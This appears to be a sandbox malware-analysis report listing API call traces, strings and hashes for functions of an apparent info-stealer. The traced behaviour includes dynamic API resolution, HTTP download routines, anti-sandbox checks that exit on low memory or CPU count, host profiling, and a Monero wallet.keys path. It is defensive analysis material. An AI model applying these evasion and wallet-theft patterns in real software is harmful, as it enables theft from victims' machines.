GetProcAddress.KERNEL32(75900000,012DCC88), ref: 00509EEF
GetProcAddress.KERNEL32(75900000,012DCC28), ref: 00509F07
GetProcAddress.KERNEL32(75900000,012DCB38), ref: 00509F1F
GetProcAddress.KERNEL32(75900000,012DCDC0), ref: 00509F38
GetProcAddress.KERNEL32(75900000,012D9C18), ref: 00509F50
GetProcAddress.KERNEL32(75900000,012DCD18), ref: 00509F68
GetProcAddress.KERNEL32(75900000,012DCBB0), ref: 00509F81
GetProcAddress.KERNEL32(75900000,012C68A0), ref: 00509F99
GetProcAddress.KERNEL32(75900000,012DCD30), ref: 00509FB1
GetProcAddress.KERNEL32(75900000,012C68C0), ref: 00509FCA
GetProcAddress.KERNEL32(75900000,012DCD48), ref: 00509FE2
GetProcAddress.KERNEL32(75900000,012DCDD8), ref: 00509FFA
GetProcAddress.KERNEL32(75900000,012C65C0), ref: 0050A013
GetProcAddress.KERNEL32(75900000,012C6620), ref: 0050A02B
LoadLibraryA.KERNEL32(012DCAF0,?,00505CA3,00510AEB,?,?,?,?,?,?,?,?,?,?,00510AEA,00510AE3), ref: 0050A03D
LoadLibraryA.KERNEL32(012DCC40,?,00505CA3,00510AEB,?,?,?,?,?,?,?,?,?,?,00510AEA,00510AE3), ref: 0050A04E
LoadLibraryA.KERNEL32(012DCB50,?,00505CA3,00510AEB,?,?,?,?,?,?,?,?,?,?,00510AEA,00510AE3), ref: 0050A060
LoadLibraryA.KERNEL32(012DCB80,?,00505CA3,00510AEB,?,?,?,?,?,?,?,?,?,?,00510AEA,00510AE3), ref: 0050A072
LoadLibraryA.KERNEL32(012DCB98,?,00505CA3,00510AEB,?,?,?,?,?,?,?,?,?,?,00510AEA,00510AE3), ref: 0050A083
LoadLibraryA.KERNEL32(012DCC58,?,00505CA3,00510AEB,?,?,?,?,?,?,?,?,?,?,00510AEA,00510AE3), ref: 0050A095
LoadLibraryA.KERNEL32(012DCEC8,?,00505CA3,00510AEB,?,?,?,?,?,?,?,?,?,?,00510AEA,00510AE3), ref: 0050A0A7
LoadLibraryA.KERNEL32(012DCDF0,?,00505CA3,00510AEB,?,?,?,?,?,?,?,?,?,?,00510AEA,00510AE3), ref: 0050A0B8
GetProcAddress.KERNEL32(75FD0000,012C6500), ref: 0050A0DA
GetProcAddress.KERNEL32(75FD0000,012DCEF8), ref: 0050A0F2
GetProcAddress.KERNEL32(75FD0000,012D89A0), ref: 0050A10A
GetProcAddress.KERNEL32(75FD0000,012DCE50), ref: 0050A123
GetProcAddress.KERNEL32(75FD0000,012C6600), ref: 0050A13B
GetProcAddress.KERNEL32(734B0000,012CAEB0), ref: 0050A160
GetProcAddress.KERNEL32(734B0000,012C6280), ref: 0050A179
GetProcAddress.KERNEL32(734B0000,012CAF00), ref: 0050A191
GetProcAddress.KERNEL32(734B0000,012DCF10), ref: 0050A1A9
GetProcAddress.KERNEL32(734B0000,012DCE08), ref: 0050A1C2
GetProcAddress.KERNEL32(734B0000,012C62E0), ref: 0050A1DA
GetProcAddress.KERNEL32(734B0000,012C6460), ref: 0050A1F2
GetProcAddress.KERNEL32(734B0000,012DCF40), ref: 0050A20B
GetProcAddress.KERNEL32(763B0000,012C6640), ref: 0050A22C
GetProcAddress.KERNEL32(763B0000,012C6580), ref: 0050A244
GetProcAddress.KERNEL32(763B0000,012DCE20), ref: 0050A25D
GetProcAddress.KERNEL32(763B0000,012DCF70), ref: 0050A275
GetProcAddress.KERNEL32(763B0000,012C64A0), ref: 0050A28D
GetProcAddress.KERNEL32(750F0000,012CB0E0), ref: 0050A2B3
GetProcAddress.KERNEL32(750F0000,012CB2C0), ref: 0050A2CB
GetProcAddress.KERNEL32(750F0000,012DCFA0), ref: 0050A2E3
GetProcAddress.KERNEL32(750F0000,012C65E0), ref: 0050A2FC
GetProcAddress.KERNEL32(750F0000,012C6300), ref: 0050A314
GetProcAddress.KERNEL32(750F0000,012CAFC8), ref: 0050A32C
GetProcAddress.KERNEL32(75A50000,012DCE38), ref: 0050A352
GetProcAddress.KERNEL32(75A50000,012C6380), ref: 0050A36A
GetProcAddress.KERNEL32(75A50000,012D88F0), ref: 0050A382
GetProcAddress.KERNEL32(75A50000,012DCE68), ref: 0050A39B
GetProcAddress.KERNEL32(75A50000,012DCE80), ref: 0050A3B3
GetProcAddress.KERNEL32(75A50000,012C64E0), ref: 0050A3CB
GetProcAddress.KERNEL32(75A50000,012C63C0), ref: 0050A3E4
GetProcAddress.KERNEL32(75A50000,012DCE98), ref: 0050A3FC
GetProcAddress.KERNEL32(75A50000,012DCEB0), ref: 0050A414
GetProcAddress.KERNEL32(75070000,012C63A0), ref: 0050A436
GetProcAddress.KERNEL32(75070000,012DCF88), ref: 0050A44E
GetProcAddress.KERNEL32(75070000,012DCEE0), ref: 0050A466
GetProcAddress.KERNEL32(75070000,012DCF28), ref: 0050A47F
GetProcAddress.KERNEL32(75070000,012DCF58), ref: 0050A497
GetProcAddress.KERNEL32(74E50000,012C6480), ref: 0050A4B8
GetProcAddress.KERNEL32(74E50000,012C6440), ref: 0050A4D1
GetProcAddress.KERNEL32(75320000,012C62C0), ref: 0050A4F2
GetProcAddress.KERNEL32(75320000,012DC898), ref: 0050A50A
GetProcAddress.KERNEL32(6F060000,012C6660), ref: 0050A530
GetProcAddress.KERNEL32(6F060000,012C62A0), ref: 0050A548
GetProcAddress.KERNEL32(6F060000,012C65A0), ref: 0050A560
GetProcAddress.KERNEL32(6F060000,012DC9B8), ref: 0050A579
GetProcAddress.KERNEL32(6F060000,012C63E0), ref: 0050A591
GetProcAddress.KERNEL32(6F060000,012C6320), ref: 0050A5A9
GetProcAddress.KERNEL32(6F060000,012C6400), ref: 0050A5C2
GetProcAddress.KERNEL32(6F060000,012C6340), ref: 0050A5DA
GetProcAddress.KERNEL32(6F060000,InternetSetOptionA), ref: 0050A5F1
GetProcAddress.KERNEL32(6F060000,HttpQueryInfoA), ref: 0050A607
GetProcAddress.KERNEL32(74E00000,012DCA60), ref: 0050A629
GetProcAddress.KERNEL32(74E00000,012D8820), ref: 0050A641
GetProcAddress.KERNEL32(74E00000,012DC9D0), ref: 0050A659
GetProcAddress.KERNEL32(74E00000,012DCA78), ref: 0050A672
GetProcAddress.KERNEL32(74DF0000,012C6520), ref: 0050A693
GetProcAddress.KERNEL32(6F9C0000,012DC8B0), ref: 0050A6B4
GetProcAddress.KERNEL32(6F9C0000,012C6540), ref: 0050A6CD
GetProcAddress.KERNEL32(6F9C0000,012DC970), ref: 0050A6E5
GetProcAddress.KERNEL32(6F9C0000,012DC910), ref: 0050A6FD

Strings

InternetSetOptionA, xrefs: 0050A5E5
HttpQueryInfoA, xrefs: 0050A5FC

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: 95c4bca672dd090e52cd2ae6c4337acf74c53222e58ee9c13e7114b194b357f9
Instruction ID: 862f8ab37906f55ad20dd5cbe0a66f0dbbff19d00526dceb639678de52170230
Opcode Fuzzy Hash: 95c4bca672dd090e52cd2ae6c4337acf74c53222e58ee9c13e7114b194b357f9
Instruction Fuzzy Hash: ED624CB6504240BFE345DFA8ED8AD963BF9F7AC303304C51AA689C3264D73D9841CB5A

Function 004F6280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0050A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0050A7E6

Part of subcall function 004F47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 004F4839
Part of subcall function 004F47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 004F4849

Part of subcall function 0050A740: lstrcpy.KERNEL32(00510E17,00000000), ref: 0050A788

InternetOpenA.WININET(00510DFE,00000001,00000000,00000000,00000000), ref: 004F62E1
StrCmpCA.SHLWAPI(?,012DE250), ref: 004F6303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 004F6335
HttpOpenRequestA.WININET(00000000,GET,?,012DDC38,00000000,00000000,00400100,00000000), ref: 004F6385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 004F63BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 004F63D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 004F63FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 004F646D
InternetCloseHandle.WININET(00000000), ref: 004F64EF
InternetCloseHandle.WININET(00000000), ref: 004F64F9
InternetCloseHandle.WININET(00000000), ref: 004F6503

Strings

ERROR, xrefs: 004F6407
ERROR, xrefs: 004F64C9
GET, xrefs: 004F637C

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: 6695fc1e6845eae1fb9139fdb9ab94c14fddb1f7b81736669a2bb3ed63438884
Instruction ID: 913bc391f7d657f29c8fbcf4092592b9c18dcc34fe95c3198c33b247c182bb02
Opcode Fuzzy Hash: 6695fc1e6845eae1fb9139fdb9ab94c14fddb1f7b81736669a2bb3ed63438884
Instruction Fuzzy Hash: 8F710D71A00318ABEB14EBA0DC49FEE7B74FB44701F108199F6096B1D4DBB86A85CF56

Function 00505510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0050A820: lstrlen.KERNEL32(004F4F05,?,?,004F4F05,00510DDE), ref: 0050A82B
Part of subcall function 0050A820: lstrcpy.KERNEL32(00510DDE,00000000), ref: 0050A885

Part of subcall function 0050A740: lstrcpy.KERNEL32(00510E17,00000000), ref: 0050A788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00505644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 005056A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00505857

Part of subcall function 0050A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0050A7E6

Part of subcall function 005051F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00505228

Part of subcall function 0050A8A0: lstrcpy.KERNEL32(?,00510E17), ref: 0050A905

Part of subcall function 005052C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00505318
Part of subcall function 005052C0: lstrlen.KERNEL32(00000000), ref: 0050532F
Part of subcall function 005052C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00505364
Part of subcall function 005052C0: lstrlen.KERNEL32(00000000), ref: 00505383
Part of subcall function 005052C0: lstrlen.KERNEL32(00000000), ref: 005053AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 0050578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00505940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00505A0C
Sleep.KERNEL32(0000EA60), ref: 00505A1B

Strings

ERROR, xrefs: 00505849
ERROR, xrefs: 0050577D
ERROR, xrefs: 005059FE
ERROR, xrefs: 00505693
ERROR, xrefs: 00505636
ERROR, xrefs: 00505932

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: 187248dfb83099d609c75f14392d84e44d29ff0105a220e25fbfc07d90ba4a6b
Instruction ID: 7ce86d997ee19ffd97faef897120b5e22879e92adfe578293352caf25902b2d3
Opcode Fuzzy Hash: 187248dfb83099d609c75f14392d84e44d29ff0105a220e25fbfc07d90ba4a6b
Instruction Fuzzy Hash: 14E12072910209AADB14FBB0DC5BEFE7B38BF94300F50C528B546560D5EF346A49CBA6

Function 005017A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 005017C5
ExitProcess.KERNEL32 ref: 005017D1

Strings

block, xrefs: 005017B7

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: b90774facba1cbc00fa8642de15ccf1417501ac584c0f9e51f0bed1bf0e7df6f
Instruction ID: 9d9f370d51093ec3c90cff25165167cb9ad9eb7695cf1d9617de08ab00f4900b
Opcode Fuzzy Hash: b90774facba1cbc00fa8642de15ccf1417501ac584c0f9e51f0bed1bf0e7df6f
Instruction Fuzzy Hash: 83516DB4A04209EFDB04DFA4D959AFE7BB5BF44704F10884CE406A72C0D774E991CB6A

Function 00507500 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00507542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0050757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00507603
RtlAllocateHeap.NTDLL(00000000), ref: 0050760A
wsprintfA.USER32 ref: 00507640

Part of subcall function 0050A740: lstrcpy.KERNEL32(00510E17,00000000), ref: 0050A788

Strings

Q, xrefs: 0050764D, 00507655, 0050761B, 00507623
:, xrefs: 0050755C
\, xrefs: 00507560
C, xrefs: 0050754C

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\$Q
API String ID: 1544550907-2387536637
Opcode ID: 0d62994f2d8ee73b0a6f53bda94dcb3f0f1ebe14ec8cbbf47e094e3ed5077d5b
Instruction ID: 88d387510588a38fd9e9caf3a7035f5680ee7e7db761f0559b7e5672d92b8ee1
Opcode Fuzzy Hash: 0d62994f2d8ee73b0a6f53bda94dcb3f0f1ebe14ec8cbbf47e094e3ed5077d5b
Instruction Fuzzy Hash: F5418FB1D04248ABDB10DF94DC49BEEBBB8BB58700F104198F549672C0D7796A44CFA5

Function 005069F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00509860: GetProcAddress.KERNEL32(75900000,012D0840), ref: 005098A1
Part of subcall function 00509860: GetProcAddress.KERNEL32(75900000,012D0690), ref: 005098BA
Part of subcall function 00509860: GetProcAddress.KERNEL32(75900000,012D0558), ref: 005098D2
Part of subcall function 00509860: GetProcAddress.KERNEL32(75900000,012D0678), ref: 005098EA
Part of subcall function 00509860: GetProcAddress.KERNEL32(75900000,012D0570), ref: 00509903
Part of subcall function 00509860: GetProcAddress.KERNEL32(75900000,012D8930), ref: 0050991B
Part of subcall function 00509860: GetProcAddress.KERNEL32(75900000,012C6760), ref: 00509933
Part of subcall function 00509860: GetProcAddress.KERNEL32(75900000,012C6920), ref: 0050994C
Part of subcall function 00509860: GetProcAddress.KERNEL32(75900000,012D05A0), ref: 00509964
Part of subcall function 00509860: GetProcAddress.KERNEL32(75900000,012D05B8), ref: 0050997C
Part of subcall function 00509860: GetProcAddress.KERNEL32(75900000,012D05E8), ref: 00509995
Part of subcall function 00509860: GetProcAddress.KERNEL32(75900000,012D0618), ref: 005099AD
Part of subcall function 00509860: GetProcAddress.KERNEL32(75900000,012C6980), ref: 005099C5
Part of subcall function 00509860: GetProcAddress.KERNEL32(75900000,012D06F0), ref: 005099DE

Part of subcall function 0050A740: lstrcpy.KERNEL32(00510E17,00000000), ref: 0050A788

Part of subcall function 004F11D0: ExitProcess.KERNEL32 ref: 004F1211

Part of subcall function 004F1160: GetSystemInfo.KERNEL32(?), ref: 004F116A
Part of subcall function 004F1160: ExitProcess.KERNEL32 ref: 004F117E

Part of subcall function 004F1110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 004F112B
Part of subcall function 004F1110: VirtualAllocExNuma.KERNEL32(00000000), ref: 004F1132
Part of subcall function 004F1110: ExitProcess.KERNEL32 ref: 004F1143

Part of subcall function 004F1220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 004F123E
Part of subcall function 004F1220: __aulldiv.LIBCMT ref: 004F1258
Part of subcall function 004F1220: __aulldiv.LIBCMT ref: 004F1266
Part of subcall function 004F1220: ExitProcess.KERNEL32 ref: 004F1294

Part of subcall function 00506770: GetUserDefaultLangID.KERNEL32 ref: 00506774

Part of subcall function 004F1190: ExitProcess.KERNEL32 ref: 004F11C6

Part of subcall function 00507850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004F11B7), ref: 00507880
Part of subcall function 00507850: RtlAllocateHeap.NTDLL(00000000), ref: 00507887
Part of subcall function 00507850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0050789F

Part of subcall function 005078E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00507910
Part of subcall function 005078E0: RtlAllocateHeap.NTDLL(00000000), ref: 00507917
Part of subcall function 005078E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0050792F

Part of subcall function 0050A9B0: lstrlen.KERNEL32(?,012D8AC0,?,\Monero\wallet.keys,00510E17), ref: 0050A9C5
Part of subcall function 0050A9B0: lstrcpy.KERNEL32(00000000), ref: 0050AA04
Part of subcall function 0050A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0050AA12

Part of subcall function 0050A8A0: lstrcpy.KERNEL32(?,00510E17), ref: 0050A905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,012D89D0,?,0051110C,?,00000000,?,00511110,?,00000000,00510AEF), ref: 00506ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00506AE8
CloseHandle.KERNEL32(00000000), ref: 00506AF9
Sleep.KERNEL32(00001770), ref: 00506B04
CloseHandle.KERNEL32(?,00000000,?,012D89D0,?,0051110C,?,00000000,?,00511110,?,00000000,00510AEF), ref: 00506B1A
ExitProcess.KERNEL32 ref: 00506B22

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: ee80f2208b03739e02a288ae3314992172d236cf40cef771b8701c986c509e71
Instruction ID: 1fa217eda0621cc3f53785a3ebf932c32f3ff0f9d20ab94414674a19ba3a1fd2
Opcode Fuzzy Hash: ee80f2208b03739e02a288ae3314992172d236cf40cef771b8701c986c509e71
Instruction Fuzzy Hash: F9310F71A0020AAAEB04F7F0DD5BBEE7B78BF84341F108519F202A21D2DF746945C6A6

Function 004F1220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 004F123E
__aulldiv.LIBCMT ref: 004F1258
__aulldiv.LIBCMT ref: 004F1266
ExitProcess.KERNEL32 ref: 004F1294

Strings

@, xrefs: 004F1233

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
